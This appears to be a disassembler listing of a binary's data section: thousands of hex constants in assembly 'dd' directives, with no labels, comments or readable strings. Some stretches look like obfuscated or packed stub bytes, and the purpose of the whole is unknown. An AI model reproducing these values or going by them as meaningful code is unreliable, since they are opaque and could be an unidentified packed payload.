		dd 2B2A4404h, 690EF40Ah, 0E0923368h, 151AF60h, 187DA3A2h
		dd 853766A9h, 0AAE884BDh, 0C4B9F459h, 0ACF36A84h, 81D1F046h
		dd 6B88F522h, 684E344Ah, 0A0523368h, 6868D6BCh,	5838AA33h
		dd 40F9B7F4h, 1576187h,	66F40000h, 0EA82FB38h, 6CC077ACh
		dd 34553033h, 966248C6h, 0DABEA2D2h, 744E99AAh,	85BDDA35h
		dd 397C2D9Fh, 2E04EA10h, 0E29C397Ch, 53B6E690h,	45FEFBBDh
		dd 0C3C25838h, 7B92D5BBh, 3C6FA139h, 1FC91B49h,	200278EDh
		dd 6C397B92h, 0F28AF32Ch, 79170EA3h, 1BBF9813h,	3E922E43h
		dd 3F8E2328h, 4BBB8D54h, 1F3B839Dh, 2BBF9B94h, 35h, 0DAD98A4Eh
		dd 8F7E437Bh, 6A043573h, 8F997BF3h, 76A7397Bh, 513465B6h
		dd 0BB933713h, 0A4578575h, 54707205h, 0F4B4A906h, 551AFE5Ah
		dd 0C78D54B5h, 8Bh, 0FB38666Ah,	71AAEA82h, 8D22700Ch, 1996C498h
		dd 86617CEAh, 0E9293367h, 70231D4Ah, 9DEC1273h,	0D235712Ah
		dd 21A78DB5h, 9FB397Eh,	0E4611309h, 1047D838h, 0D20380D0h
		dd 0BAE62D5Fh, 8C2097FFh, 0F43F919h, 26680000h,	0C50A5A89h
		dd 6CA13F54h, 13428231h, 0B91B699Eh, 61AE3166h,	164DDE3Eh
		dd 0FA2982D6h, 43F0296Ah, 295ED505h, 8EE1475h, 98398151h
		dd 36662994h, 0E03E4EE5h, 92DDB41h, 0CD13FE33h,	70301588h
		dd 660091C6h, 0EA82FB38h, 0BBF65BACh, 3F5486C2h, 118ACE5Eh
		dd 0A147C2Ch, 72EE57CCh, 3B43C2C1h
		dd 35738316h, 39C572ECh, 818h, 0E53666F4h, 81280A80h, 0EF983367h
		dd 0A05961ECh, 22357E47h, 68B4D5B0h, 0DD8FF627h, 346BAB75h
		dd 0FC82D749h, 8147E0C6h, 8436A039h, 0DD3D4BBCh, 0AE7EDF46h
		dd 18483D6Eh, 7DAEEE38h, 94DA00D6h, 23F36220h, 0E8Dh, 843370A2h
		dd 699E0F44h, 0CC7BB61Bh, 93C05DBCh, 7BA80355h,	286837F0h
		dd 0CC0040F7h, 73A42453h, 1F7F8D3Ah, 0DABB5380h, 8150BEA4h
		dd 0E76AC239h, 98E53666h, 0F7F10FAAh, 5F3B6F17h, 0E53A98E8h
		dd 71AEEC80h, 0D569410Ch, 4CC966B4h, 0BFFA9DFEh, 225EC75Ah
		dd 1AF22EF2h, 0EC81C93Eh, 0AC87408Bh, 20h, 558799C1h, 31467EDAh
		dd 0F133678Ch, 0FFFDEED5h, 0E28674FFh, 326FA2DDh, 60ED194Bh
		dd 1FDABED4h, 0C5548799h, 50CD0C60h, 257AD826h,	40h, 3367811Eh
		dd 73D2D182h, 7E477A4Bh, 0FF5E0835h, 5B2F121h, 251897C7h
		dd 896F97B4h, 19398147h, 0DB3DEB6Fh, 0DA230340h, 0CE472094h
		dd 0DC800h, 74ABEF00h, 0D34A81DFh, 0BCF124A4h, 598F907h
		dd 0ED3E9EEEh, 0B5EA2BB6h, 4D9BC863h, 0E17F9407h, 0B8C87FAEh
		dd 0F0AEC55Ah, 51836991h, 171F3981h, 558799AAh,	212163DAh
		dd 0F71A97C7h, 5FA4FF6Dh, 67F96C9Eh, 839DF837h,	4D74DC53h
		dd 8896A802h, 0D5AA9BAh, 0C3479D87h, 9BEF525h, 407FACC1h
		dd 156C87h, 80810000h, 33678C6Bh, 8BF8DEE4h, 0DE883367h
		dd 0FD25E0ACh, 8A2DFFFFh, 5A7BDAD9h, 0AF736BECh, 0D7B3F9DFh
		dd 73C492AFh, 0DA3DE335h, 0AAAEDA43h, 3E9F8670h, 0FF5F81C0h
		dd 6C1C0198h, 0A7F30D30h, 0FCC2A3A3h, 0A8E397Bh, 0A9822F34h
		dd 0BF8F8D54h, 8EF18B3Fh, 0EA4388CBh, 83873173h, 2002Fh
		dd 87994200h, 0C9DF251h, 59396B19h, 67815729h, 52CA4B33h
		dd 0BBA6A2FFh, 77DA2D6Dh, 0D5B883Ah, 851C7ACDh,	1434D728h
		dd 130AA4D3h, 0E8CEF451h, 0B8336822h, 31A99CCEh, 336822B7h
		dd 81628CAh, 22EDD3EBh,	0DBB53368h, 3271A17Fh, 0FAFFAB85h
		dd 76ADED83h, 0DC5383C1h, 235FF169h, 0E9AD3368h, 0D0610E55h
		dd 96DB8740h, 5E000001h, 82FB3866h, 0C077ACEAh,	5530336Ch
		dd 73921C2Dh, 513CAE35h, 91240A30h, 827C397Bh, 25077F86h
		dd 2B397B91h, 89D73AE2h, 7B918B71h, 0CB651739h,	8D93AB4Fh
		dd 9170566Ch, 4630397Bh, 3F511EC2h, 3ACB8D54h, 6E000000h
		dd 7BDAD98Ah, 738F7E43h, 0F36A0435h, 7B8F997Bh,	4976A739h
		dd 7B8F4B31h, 0DDA55739h, 91DE2539h, 0BE8D5420h, 89FC2D6Eh
		dd 0E1EB7FDBh, 0A2000000h, 0A98B6154h, 307C97Fh, 0FB3866B6h
		dd 71AAEA82h, 3C918F0Ch, 44CC7CE1h, 0CB0B7CDAh,	0C55B3A54h
		dd 83E1F8Eh, 33678122h,	7D848C7Eh, 0BC7EB3E3h, 351B2342h
		dd 4D33684Ah, 30306393h, 0AB9BC87Ah, 336807F8h,	0A4F75886h
		dd 0C1A4F759h, 0CB0B5183h, 1B3F154h, 0CECD7ED2h, 9BE8374Fh
		dd 7193571h, 6C2B5BD6h,	0E2BB2CD3h, 0B527F55Dh,	0AD93ABC8h
		dd 6397E65h, 7E651A00h,	7AF46639h, 8F758D88h, 13397E65h
		dd 24F8E161h, 6C5268F4h, 34397E65h, 6DFB285Ah, 953F02Bh
		dd 0FD2097BBh, 0B7F4A88h, 62B40000h, 15696CDh, 0A8ED7BA8h
		dd 4F8EDE75h, 0F527A5D2h, 25E20DBAh, 52811A7Ah,	366DBE12h
		dd 9F3465B6h, 65921141h, 0CCB2C849h, 0D4398153h, 3666DD40h
		dd 4F8498E5h, 47857ADEh, 4E6B9817h, 10EAA999h, 0CF288AAh
		dd 91DE61D0h, 848C1AF6h, 0D2E53C9Ah, 9A6F42Dh, 4D385414h
		dd 93DD58Eh, 0D0EC7E4Fh, 170974A6h, 0DAEB6FC2h,	3970A37Dh
		dd 0E23C0444h, 6C87FB4h, 448h, 5287998Bh, 0D1E966DFh, 336781EBh
		dd 7BABC5B7h, 1920B108h, 368F8BEFh, 0BCBFE83Ah,	1B05A9D1h
		dd 0EF99357Fh, 0FD95906Eh, 0F4F3966Dh, 150B628Ch, 0B5F76EC5h
		dd 0CDB5E437h, 8E8F8CBFh, 8D1CFF78h, 2B53703Bh,	33751E45h
		dd 75A7A35Dh, 4A2CA29Bh, 5233751Eh, 0D3508EFFh,	70A0BCA1h
		dd 1723463Fh, 3A9E223Fh, 0CB92DF24h, 9E0A874Dh,	0AF000003h
		dd 67819E80h, 81290833h, 0FA953367h, 0D9669CF9h, 7935739Fh
		dd 8114488Fh, 9F16209Ah, 0A747Fh, 0D857BB00h, 0A7F65DABh
		dd 9DF070h, 0E94495D3h,	0B1EA2ABAh, 411EDF02h, 19679C0Fh
		dd 0BDCB78B3h, 5494C35Ah, 447AA906h, 54D7BDC5h,	43AB3981h
		dd 0FB3866DEh, 56550682h, 556D6F7h, 97F3B194h, 7E47CA6Fh
		dd 79AE5835h, 84C80814h, 8147987Eh, 0CC7EE839h,	6053644h
		dd 79B41907h, 0DDFC4404h, 0D13260BCh, 8AF32D80h, 0B14A7ADEh
		dd 713B980Dh, 61998687h, 3367817Bh, 0CCED5507h,	74A3FC50h
		dd 67805812h, 8B8AB833h, 55C80C5Ch, 0D49EBE6Eh,	5AFBAA42h
		dd 0B3A0B79Bh, 1E6ED701h, 8EFA63C0h, 29FF2DDh, 804D75D0h
		dd 2357404h, 7749FF52h,	1F491085h, 9A1B7AF8h, 9939AC20h
		dd 9B5h, 0EC1B98FAh, 0B1E6379Ch, 1443DE33h, 0FB2885D4h
		dd 43F02B6Dh, 5080DF18h, 0F458A8DFh, 9BFC0CBBh,	4797D502h
		dd 8283BBE8h, 8155967Ch, 9F02EA39h, 5DD8D98Ah, 346BABE9h
		dd 0D2931298h, 1B7BA5A0h, 99CB64A8h, 1687C8A4h,	457D9CE4h
		dd 357F05ACh, 8F91FC6Eh, 23A1D649h, 4DD3B2EDh, 8EB7930Ah
		dd 0E3626112h, 0B79DA5C2h, 0CB3980F9h, 64093919h, 3E3B97BFh
		dd 3F81679Fh, 57013368h, 33B5825h, 33683F1Dh, 3F8A7096h
		dd 64163368h, 0E91878EAh, 4ACBC87Bh, 3F2F152Dh,	187F3368h
		dd 0B8857781h, 683F9C82h, 0E0AE433h, 4ACAD7EFh,	9E483574h
		dd 99EB1179h, 12C03520h, 8F9h, 1047DC3Eh, 0F5227BD0h, 588F2277h
		dd 3F54C908h, 873C6FA1h, 94C49B64h, 389CEC1Bh, 0DF30B0E7h
		dd 8BCB194Eh, 4ECFFF14h, 81565238h, 5BC62E39h, 8871A999h
		dd 0F27F0613h, 0B7E74FD1h, 60E0CE5Eh, 62DB5886h, 0EE57CC0Ah
		dd 0D2F34BAFh, 52F82F84h, 87412E1Dh, 1A89Fh, 87991200h
		dd 2765D857h, 813A2026h, 94463367h, 0EEED9EACh,	9D86576Fh
		dd 6A043573h, 9D997BF3h, 0F3A7397Bh, 4B5B105Bh,	7ADD8D54h
		dd 50000001h, 0DA558799h, 7ADB2163h, 95C52327h,	58B6271Eh
		dd 633B73B7h, 0F246C524h, 0E66F7894h, 757D1B1h,	0ACDE4F84h
		dd 831E7FA1h, 1F053D9Ah, 6333683Ah, 0CC347F1h, 0E5666710h
		dd 7226C94Ch, 0B399A1ACh, 0CF33687Dh, 5C62E31Dh, 35748E4Bh
		dd 0F1D7EF0Ch, 0B1397C6Dh, 3FA943C7h, 6DEED046h, 5DBE397Ch
		dd 6E01E71Fh, 0D781397Ch, 69ACC0A5h, 0DF3F5134h, 1CAFDD40h
		dd 7D4DA0B6h, 65BB85D9h, 0C785F833h, 1AD29F43h,	0DEFF8D55h
		dd 7C65C2A8h, 242CDE39h, 25B0h,	47978900h, 8AED68E8h, 437BDAD9h
		dd 35738F7Eh, 7BF36A04h, 397B8F99h, 105BF3A7h, 8D54215Bh
		dd 9EDDh, 38665000h, 0F41582FBh, 6781E8CEh, 4ACEB833h
		dd 3A237CDCh, 0C6BFF422h, 0E21868B6h, 336781FCh, 0BB8EA84h
		dd 679D501Bh, 3E9F8133h, 59B967E3h, 80B3ADDAh, 2D7C8283h
		dd 51357142h, 1646A6A7h, 0BE1E6E85h, 6D9F0E41h,	97E7D426h
		dd 0FF1F9620h, 765h, 0BCEB488Ah, 1B6E72Ch, 0E4138EC3h
		dd 4BF83564h, 1340DB3Dh, 500FC8h, 0A4E878AFh, 4B8CDC0Bh
		dd 0F727A5D2h, 0F2530BB8h, 8157E6CCh, 0CFB2BA39h, 98E53666h
		dd 7EDA5384h, 841B7B89h, 0B9C1EE6Fh, 336781D3h,	6FAF3DAFh
		dd 66855030h, 2B80D738h, 13F08218h, 41F32D7Dh, 0DD5280DCh
		dd 452B5370h, 5D336823h, 0AE50A7A3h, 3Ch, 2100C163h, 8114FA00h
		dd 0F26C3367h, 0C8CB6496h, 9DF02C4Dh, 0EB6F1D00h
		dd 7E4838DBh, 3218CA35h, 0D6814D83h, 0E63792F9h, 6496D24Bh
		dd 8D334BCAh, 153B980Dh, 36F9157Bh, 34000000h, 7BDAD98Ah
		dd 739D1643h, 302FC35h,	0E266BD1Dh, 8C5C6BE3h, 0E3A7D2ACh
		dd 0A6A5D64Bh, 9B1279A7h, 3B689EBFh, 0C72F5F8Fh, 0E045D839h
		dd 3DC176A0h, 0A4h, 0DAD98AF0h,	47A2437Bh, 0F660357Eh
		dd 50D17F66h, 0D29FE47Ah, 4A8D59D8h, 7Ch, 1FF5F343h, 0B6BB50C3h
		dd 6F9FC962h, 0AC92467Eh, 7DF858F4h, 7BDAD98Ah,	7E479F43h
		dd 65F16335h, 7951D27Ch, 0D8D19EE5h, 0FE8D59h, 0E625532Dh
		dd 8B5BB6E6h, 842B5E1h,	3DD48888h, 59000000h, 55CFA999h
		dd 81A239B5h, 0DBD88B81h, 1AA1447Ah, 8B65357Fh,	0EACC027Bh
		dd 7C1075A6h, 0E29E8718h, 7FE6379Ch, 0FE71ACE1h, 90C30254h
		dd 0CA20EF19h, 44426F74h, 0DFA8D59h, 7F000000h,	679B4B80h
		dd 29771733h, 0BAFFFFFFh, 7BDAD98Ah, 7E474E43h,	0E35A3435h
		dd 48353661h, 980D8C32h, 556143Bh, 0ACB87894h, 8E55AAFAh
		dd 0B468E95Ch, 7F9CC865h, 29557BB6h, 0A8DBF151h, 0ACDE5187h
		dd 0A0B099A1h, 20D2357Eh, 594FB25h, 0C2C172EEh,	0E6A23B43h
		dd 8D933B97h, 0B973D746h, 7DDE4ECFh, 0BA8FF72Ch, 3BAB4183h
		dd 0E4EF64CBh, 77D307C9h, 9DCA69A9h, 58BC0F4Fh,	1174ABEBh
		dd 96F72153h, 0C960B769h, 4A301454h, 56CB8D88h,	27A5DCA4h
		dd 0F0167774h, 0CD99A79Bh, 54C8B527h, 99A8A805h, 87C6983Ah
		dd 8D7DD857h, 0FEEA79F2h, 0C93E1AA6h, 5CC158BBh, 0EB52CB00h
		dd 72EB4295h, 0FC61BA1Ah, 9CD1652Dh, 0D967FF5Bh, 354D1147h
		dd 0D19A6D4Fh, 1377A153h, 3C6BC215h, 4B326BACh,	13783E92h
		dd 98CA67B6h, 1689CBA5h, 0B48A602Fh, 5E86DABBh,	0E31DA6DFh
		dd 11F3C99h, 3E95DD0h, 9FD199A1h, 6DC165EDh, 0FA0FB5Ch
		dd 5676835Eh, 66BB1A60h, 0E4134DFFh, 0DCDF8A37h, 68C71769h
		dd 4DDC33EDh, 99A8A8D8h, 0FB41B1DEh, 0E0A569ADh, 6822083Eh
		dd 8C7E3368h, 0FC52F652h, 7ED1532h, 9B336869h, 265369E9h
		dd 68EAD0F6h, 0E8B63368h, 56120BA4h, 0F5D8A24h,	474A52CFh
		dd 0B98EFFBCh, 4986FF0Fh, 0BFCE6032h, 2445C05Fh, 6821381Eh
		dd 0BA9E4833h, 1089CE9Ch, 21CFB52Dh, 7DDF3368h,	0F2253B22h
		dd 216C5268h, 5A343368h, 806A3528h, 32D0B3AEh, 77A6ED1Ch
		dd 6FA17FC0h, 326FAE3Ch, 0EF39194Bh, 92087DACh,	336821B1h
		dd 0A7DFFC59h, 336821C1h, 7EE717C1h, 9BD0A2A7h,	658FC44h
		dd 0EE0594C7h, 685BDF78h, 27478333h, 918740C9h,	0FFFFFF45h
		dd 54879904h, 820AF016h, 0E4963367h, 0B191D34Ah, 5B882777h
		dd 656CD0Dh, 49851A78h,	55C867B7h, 0E25BD63Bh, 62A3BB9Fh
		dd 0D98BF22Fh, 57EF43AFh, 0C54BE836h, 401300ADh, 0BC130D87h
		dd 3248F86Dh, 15C949E2h, 58h, 0B2A99998h, 3C955270h, 3A5567E3h
		dd 80265C39h, 357E4Ch, 1480E654h, 0F123E359h, 0FF072465h
		dd 3980CC19h, 0C54FFF69h, 4DDA1B08h, 84CDB49Ch,	67BA8CA0h
		dd 30563734h, 3B98378Ah, 0D8BEC4E5h, 0A83367B7h, 16C05A3Eh
		dd 0A265D538h, 0A65B8A8Fh, 47B11979h, 7C000000h, 7BDAD98Ah
		dd 7E479D43h, 71A76535h, 306DA03Eh, 91ED1F4Dh, 74A9EC30h
		dd 8EF75311h, 1EEC613Eh, 401616Dh, 0D276D27Bh, 7A44B27Ch
		dd 6FA9E0A5h, 0D49BD0F9h, 285AA332h, 62611228h,	2435DBE3h
		dd 13CD3B98h, 38667C3Dh, 0ACEA82FBh, 336CC077h,	81F5DBE3h
		dd 0D18D3367h, 6A509024h, 3E689A7Ah, 22083E5Fh,	7E33680Ch
		dd 5D65848Ch, 35741D4Ch, 0B8190CFEh, 9FFB3464h,	7C1C8567h
		dd 55C80939h, 0E7389CF0h, 7EE73699h, 0A3B13F7h,	0E0386AC7h
		dd 26141A2Ch, 88CF005Fh, 9A7EDA69h, 8D5455D5h, 5247h, 76A64600h
		dd 8A905D25h, 5A7BDAD9h, 0C31992C2h, 0D351D8Ch,	35738F48h
		dd 3DB5A85Ah, 397B8F5Bh, 9CBEF323h, 0D15E1248h,	0EB85F82Ah
		dd 321174ABh, 1FA3BE90h, 1358A3BBh, 308D550Ch, 7705EB13h
		dd 586E397Ch, 397C7672h, 50025C0Eh, 1257CF0h, 66F10000h
		dd 0EA82FB38h, 261471AAh, 0C01C6C92h, 0EB449452h, 0D4A8D9B9h
		dd 0F2C2986h, 687B11F7h, 0E03B9D33h, 0C3BDCF7Dh, 61D13E47h
		dd 0CEC23ED2h, 0E03E1A79h, 1A7EAEB2h, 78EC9C81h, 33679292h
		dd 95C27CEEh, 8D738BA8h, 15336792h, 0CCE71F7Bh,	42336797h
		dd 18689F14h, 800065BAh, 4869D4D7h, 962D132Bh, 9B753367h
		dd 0BB7687BFh, 0C6E73573h, 7BB2DAC0h, 0B634A639h, 1454C962h
		dd 0D70CFE2Ch, 4CC9CA65h, 0B231172Fh, 8771397Bh, 8D7D9A83h
		dd 18913EBBh, 5A6AEECEh, 3B85C011h, 0FE042542h,	3369BF18h
		dd 0A086FE68h, 0E03369BFh, 0BCA1FA5Ah, 0CD0C528Ch, 483AF050h
		dd 42957DCDh, 0A926E597h, 0E435C87Dh, 3F1B3C11h, 5DCE0E1Eh
		dd 0F2EB02F0h, 0DF06DBFBh, 1444847Bh, 95207C9Bh, 0D34226ACh
		dd 1A803h, 148BCF00h, 0F32A61FFh, 5CD10444h, 2578D927h
		dd 8D1E7E8Eh, 95CA0B56h, 2DBBE843h, 0C11FB4E7h,	98E81F8Eh
		dd 904EE53Ah, 5DA389B1h, 77FF3981h, 0E536668Ah,	43E03E4Eh
		dd 96DB2B14h, 3880D217h, 99C18CF4h, 7ADE5187h, 29141740h
		dd 738F4C11h, 1B7BA535h, 0FC6EBC84h, 0DD4C8F91h, 858C3868h
		dd 0E2984522h, 0CB4342C6h, 397BB4E9h, 57CE65B5h, 0E045D839h
		dd 84D96D95h, 70BE9004h, 533768ACh, 5445C2EFh, 0B17A8Dh
		dd 66FF0000h, 0EA82FB38h, 0A7F65DAAh, 0ED5082BEh, 67865A75h
		dd 2D82D033h, 0A72876F6h, 0D4453877h, 6785C8AEh, 0FC2ED833h
		dd 3E69DB42h, 192A503Dh, 0A93573AAh, 0FB94883Fh, 51839DF8h
		dd 5D2567DEh, 455A063Ch, 4C3E3B85h, 8EFD5FC1h, 72A1D350h
		dd 0CA09A2F2h, 26AC1344h, 0C28F4FC6h, 0E9000000h, 8BD90EA5h
		dd 2EBED544h, 0C301B6EBh, 98E81F92h, 2DB0E738h,	0C25DBFE0h
		dd 0AE015795h, 71A8EB79h, 0DF5482C2h, 6F97F6A8h, 39815E89h
		dd 99A81519h, 3B74A478h, 381E0642h, 48336781h, 2C6CBA9Eh
		dd 458A92F3h, 4D9B6CD4h, 3626940Dh, 0B05848D4h,	66C0D106h
		dd 829AFB38h, 4B7ADE53h, 194EE535h, 0C6091734h,	8209EF57h
		dd 0EF993367h, 0C65DBD6Bh, 0AC035391h, 0D2D241B9h, 0C4A957E4h
		dd 0D8B8F558h, 0B3E32234h, 59B9C77Ch, 73A57BDAh, 3074538h
		dd 0F62B6A02h, 0D7468997h, 23C75273h, 2B9CFA0Bh, 9DCFB6E9h
		dd 66B43463h, 128654C9h, 0B000000h, 0C3091786h,	5E64F568h
		dd 33678178h, 242C5E08h, 0FF3466A9h, 0BA8F686h,	80197A12h
		dd 128DC39Dh, 0A803552Bh, 2679DBB5h, 0BDF0213Fh, 0CC61B4C8h
		dd 59D00759h, 8953B3E4h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 240C895Ch, 49CC68h, 240C8900h, 5E08950h, 4, 42Dh, 24048700h
		dd 241C895Ch, 0C80EBE56h, 59560619h, 1C8B545Eh,	4C48124h
		dd 51000000h, 22243481h, 8F1DD970h, 0B9510843h,	8, 3181D901h
		dd 1DD97022h, 2434FF59h, 4C4815Bh, 8B000000h, 8956240Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 6493E95Ch, 1157FFFBh
		dd 264592BDh, 0D765FE97h, 19DE76B8h, 0FFC50306h, 1A715E0h
		dd 0CA336B72h, 9EAC3626h, 993D260Bh, 53E93Eh, 832D0000h
		dd 5151h, 1C570000h, 48434AC5h,	0ADF93661h, 8C88A7A5h
		dd 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 0C7009D89h, 63921DF4h
		dd 0DE1960h, 9 dup(0)
		dd 0AD0E900h, 70680000h, 0E90619E0h, 0FFFAA15Ch, 19E1C168h
		dd 0A152E906h, 0C568FFFAh, 0E90619E2h, 0FFFAA148h, 19E38A68h
		dd 0A13EE906h, 4268FFFAh, 0E90619E4h, 0FFFAA134h, 19E50D68h
		dd 0A12AE906h, 0B268FFFAh, 0E90619E5h, 0FFFAA120h, 19E78168h
		dd 0A116E906h, 9068FFFAh, 0E90619E8h, 0FFFAA10Ch, 141893B3h
		dd 0FF037A8Bh, 0E4286560h, 0D2564D7Bh, 0B77B3655h, 93B20034h
		dd 808D1A1Eh, 6A660105h, 4A7CEB2Fh, 5FA2CF53h, 0E94D63DEh
		dd 6953E055h, 0E01B6180h, 0DAB23147h, 39B4CA49h, 0AE109069h
		dd 5F2E5D41h, 2DBA7E2Dh, 0F068601Bh, 0D7506B11h, 4FC33842h
		dd 2F9AB195h, 0C3F6B38Eh, 0C64C305Fh, 1FFA8AE5h, 94D73E45h
		dd 3749060Ch, 2527C044h, 0FDE4676h, 3DE54279h, 7145EF00h
		dd 4851DEEAh, 2E8195Ah,	0AA01173Bh, 0EF401FE8h,	0E1659D97h
		dd 0E562861Eh, 9CAE1E5Ch, 928h,	8084F717h, 73B7E6E7h, 58DCD9F4h
		dd 46CAC1CFh, 33F7AAD9h, 0F3E84A8h, 0F4118E92h,	0DEEA75B9h
		dd 0BEC05FA3h, 0D32E4BCFh, 0E972E752h, 0EDD77C55h, 6366567h
		dd 0D0544779h, 102B51B0h, 18C12940h, 171D51C4h,	5B470B94h
		dd 5FA849DCh, 70C36C32h, 0F355E4DBh, 5536B8Fh, 54C0CBEBh
		dd 0C5E90D4Dh, 820E46B5h, 0EAEB21FBh, 52EDE82Ah, 0B055E423h
		dd 0EE3C3E55h, 488BA939h, 3BE150DDh, 1E6255E4h,	3BF140EDh
		dd 0E7255E4h, 3A7B04h, 78080000h, 0D7039110h, 0D3CEFDB5h
		dd 0F93B5FBBh, 1B618077h, 0D8F675E0h, 0F7ED5E2Fh, 2D5163F2h
		dd 0D678F6E7h, 95F949DCh, 5A79C465h, 7C9B55E4h,	5517C515h
		dd 0CDA78BA9h, 0D000000h, 4241188Bh, 92DB3F4Fh,	53F092A7h
		dd 5DA583Ch, 0EF708803h, 0C29DADE0h, 0EE5DDAC0h, 6553F092h
		dd 98B0ED1Ah, 0C4F4183Ch, 0E1289BBh, 0A7E2EE7Dh, 92380B94h
		dd 0D7BB53F0h, 96EA505Dh, 0B12C53F0h, 0F096C574h, 2015E53h
		dd 0F71B7F8Fh, 215C6E3Dh, 4D4042DDh, 5024C53Dh,	7E58FA3Bh
		dd 6DD149DCh, 7C08D9A9h, 0D68DEE4Fh, 0A2A64FCBh, 0FEB3D2A9h
		dd 6833413Ah, 8CDA3DF0h, 3948070Dh, 5235C344h, 0D34B6302h
		dd 7D7C1h, 0EBA6A600h, 1687B827h, 3F7A9512h, 275E6CFBh
		dd 484544E3h, 0A56D47C4h, 0B827EBA6h, 910E128Bh, 69F63A75h
		dd 0B5E02457h, 735AE936h, 0BAD955E9h, 35686776h, 0A25476F1h
		dd 0C43AECA1h, 100FF7FAh, 0A46EB2D6h, 0DEE06180h, 0E53B9FAFh
		dd 3727EF02h, 0B1CAEEE2h, 0DC51E674h, 0F2283849h, 17B2410Ch
		dd 0F75BAF65h, 0F31554C7h, 0E0480B8h, 0E4DCB08Fh, 5CB35255h
		dd 0A8DAD01Eh, 0CEEE8Bh, 67CA0000h, 79063665h, 8627574Ah
		dd 53F09640h, 3198FE76h, 18BBB38Bh, 871844B9h, 56DCC02Ah
		dd 0E1EF87B9h, 123692AAh, 3C6F910Eh, 94C99F0Ch,	0E446BDA6h
		dd 0AA3B7381h, 2B32ADDEh, 0EF6B631Ah, 0F05F53EEh, 0A66CD053h
		dd 0B4D3AA05h, 98BA3BF9h, 1149DCB7h, 2A31E2Dh, 55E47737h
		dd 8E4AC84Ch, 6A6117F6h, 0CB12B1CDh, 2582FD4Fh,	5FDB1B16h
		dd 1F6BA9ADh, 4A79003Bh, 3554D357h, 9E33B778h, 0DD4D6301h
		dd 6D3CFh, 0EFA2A200h, 128BBC2Bh, 3B76910Eh, 235A68F7h
		dd 4C4140DFh, 0D96943C8h, 0B433F7AAh, 8D1A1E97h, 65020681h
		dd 89E42863h, 7046F532h, 0B6DD55E9h, 35686772h,	0C2C39AF1h
		dd 0DD57B3CBh, 7D81FC0Eh, 5A517F0Eh, 0EA6CA622h, 5366567h
		dd 30484546h, 5F6F1E2Fh, 615DD7FBh, 9AB1EC1Eh, 47CDC8C3h
		dd 6361F893h, 7EB41028h, 0F092C07Fh, 92E60753h,	527F0E79h
		dd 6DA7235Bh, 0DAB21A60h, 87201B49h, 55E94DB4h,	14274BCFh
		dd 0FC6F3355h, 0E97280B3h, 3E3F0355h, 55E97203h, 0BB971022h
		dd 99ED2DBEh, 128D91B5h, 3E0DAAF0h, 0B555E969h,	259DADD1h
		dd 1A9BB0C4h, 4FC592E8h, 0A01A1D61h, 0F862FF21h, 60EB280h
		dd 0DDED0000h, 0C0C15EA2h, 0B3DE49CDh, 97B532F6h, 808F181Ch
		dd 0AE82090Dh, 70B4E918h, 5FA3DAF7h, 45C9C4C0h,	31F5A8DAh
		dd 89B8E544h, 0A55E971h, 6567C7C9h, 47790636h, 295B2454h
		dd 6055A72h, 64EB738Bh,	4B3050Dh, 0F1ACDEEDh, 0D8883DAh
		dd 39E75307h, 4585948Ch, 7, 1592A53h, 0B9400000h, 53F09286h
		dd 0BCC3A041h, 65D41590h, 0FE53F092h, 0D845769Ah, 49DABD57h
		dd 0F887B498h, 0D453D7C6h, 8EFF00B2h, 0C6F61A7Eh, 41EE8F5Eh
		dd 55E94DF2h, 0D8D5F671h, 3A7B90B4h, 4FC5B6C8h,	0DF550F41h
		dd 63913B7Eh, 0B7132B62h, 38A86F93h, 7062FF7Fh,	5560A18h
		dd 25250000h, 839A66Ah,	0FB169195h, 0DFED7ABEh,	0C8C760A4h
		dd 0E6CA51D5h, 0B87C3150h, 0A76B222Fh, 8D910C38h, 79BDF012h
		dd 3100AD1Ch, 0B255E976h, 65679F01h, 47790636h,	295B2454h
		dd 3055A72h, 38177088h,	0D87749D1h, 3D7092B1h, 8C8F5DF9h
		dd 72F8594h, 85000000h,	0A62Ah,	61804000h, 3147E01Bh, 0CA49DAB2h
		dd 14363546h, 0F80A9599h, 47067585h, 0DF3B534Ah, 0C44E3F40h
		dd 506B11F0h, 0C35D42D7h, 3D4A954Fh, 16374840h,	0CFF35767h
		dd 0B7C990ABh, 37A8CD3h, 0F34E8F0Bh, 0D25FC32Dh, 799B75B0h
		dd 93ECA075h, 8173B72h,	0F8B83FAh, 86B827EBh, 6E7FE717h
		dd 9E44E11Ah, 5745EF1Fh, 99C62CF3h, 82FA5CE5h, 48BB0h
		dd 275A6A00h, 4A4344E3h, 732E59C6h, 9B1230AFh, 84F90897h
		dd 61D1FB80h, 7CEB2F62h, 55D2564Fh, 2DBA7E39h, 0F19C601Bh
		dd 771E2D8Ah, 7E9555E9h, 13A2ABAh, 80400000h, 47E01B61h
		dd 49DAB231h, 0D2CFFE8Dh, 0ACD45EBAh, 0BACC93A8h, 9EA03FC3h
		dd 728CBFF8h, 0E74055E9h, 55E97254h, 33176BEFh,	6687FF0Fh
		dd 0ABBCF912h, 3C4FC35Dh, 0EE094FAAh, 2347751Eh, 0D6E5828h
		dd 0DA34AC5h, 0A3A5A407h, 89BB24E8h, 6382FA12h,	0E6EE615h
		dd 418A549h, 0A9F6B143h, 45EF7CF1h, 0BD191E62h,	0D75CE5B6h
		dd 3E65567h, 0B5D50000h, 98A936FAh, 8B8621E5h, 6F9D0A0Eh
		dd 5877F034h, 765AE125h, 48CCC1C0h, 37FBB2DFh, 1DE19CA8h
		dd 90D8082h, 0A1901D6Ch, 2255E977h, 0F48B2F91h,	0B857DDD8h
		dd 94A70086h, 2F53F092h, 0A497102Bh, 3F53F092h,	7807375Bh
		dd 0E29BAC46h, 324A6EEAh, 0E1207784h, 0CC68ACDFh, 85948D1Eh
		dd 6EA2E878h, 0A1811B31h, 4AC8EC9Fh, 5BB9h, 61807700h
		dd 56517D0Ch, 0A89BA226h, 2B53F092h, 0AF080327h, 49DC2C91h
		dd 4605361Ah, 0D83C4C49h, 0F712695Ah, 0B3776BAh, 3755E4DCh
		dd 0FA556615h, 0E4DC8EBDh, 0F3010555h, 5CD93447h, 55E4DCEDh
		dd 7B10E266h, 0B6255550h, 0EBE39AB7h, 60D35C6Fh, 0E355E4DCh
		dd 1D8B959Fh, 21000003h, 18306B67h, 0D2564547h,	40783355h
		dd 2C890D3Fh, 53F0921Dh, 7D8EB296h, 6CA6E3EEh, 1181D7A4h
		dd 168DBB70h, 2C8C62E6h, 0FFB77DB0h, 0C4619AEEh, 49DCEA0Ah
